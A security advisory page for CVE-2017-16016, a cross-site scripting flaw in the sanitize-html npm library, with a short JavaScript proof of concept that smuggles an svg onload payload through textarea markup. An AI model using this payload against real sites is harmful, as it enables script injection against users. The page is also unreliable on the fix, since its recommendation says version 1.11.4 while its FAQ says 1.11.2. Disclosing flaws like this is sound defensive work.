CVE-2017-16016: XSS

Published Jun 4, 2018
·
Updated

Affected versions of sanitize-html are vulnerable to cross-site scripting when allowedTags includes at least one nonTextTag.

Proof of Concept

js var sanitizeHtml = require('sanitize-html');

var dirty = '!<textarea>&lt;/textarea&gt;<svg/onload=promptxs&gt;</textarea>!'; var clean = sanitizeHtml(dirty, { allowedTags: [ 'textarea' ] });

console.log(clean);

// !<textarea></textarea><svg/onload=promptxs></textarea>!

Recommendation

Update to version 1.11.4 or later.

Other sources

Sanitize-html is a library for scrubbing html input of malicious values. Versions 1.11.1 and below are vulnerable to cross site scripting (XSS) in certain scenarios: If allowed at least one nonTextTags, the result is a potential XSS vulnerability.

Affected Software

2 affected componentsFixes available
npm/sanitize-html<=1.11.1
1.11.4
Punkave Sanitize-html Node.js<=1.11.1

Event History

Jun 4, 2018
CVE Published
via MITRE·07:00 PM
Data Sourced
via MITRE·07:00 PM
DescriptionWeakness
Nov 9, 2018
Advisory Published
05:47 PM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2017-16016?

CVE-2017-16016 is classified as a high severity vulnerability due to its potential for cross-site scripting attacks.

2

How do I fix CVE-2017-16016?

To fix CVE-2017-16016, update the 'sanitize-html' package to version 1.11.2 or later.

3

What are the affected versions of CVE-2017-16016?

CVE-2017-16016 affects versions of 'sanitize-html' up to and including 1.11.1.

4

What types of attacks can CVE-2017-16016 lead to?

CVE-2017-16016 can lead to cross-site scripting (XSS) attacks if user input is not properly sanitized.

5

Are there any workarounds for CVE-2017-16016?

A workaround for CVE-2017-16016 is to avoid using non-text tags in the allowedTags configuration within the 'sanitize-html' library.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203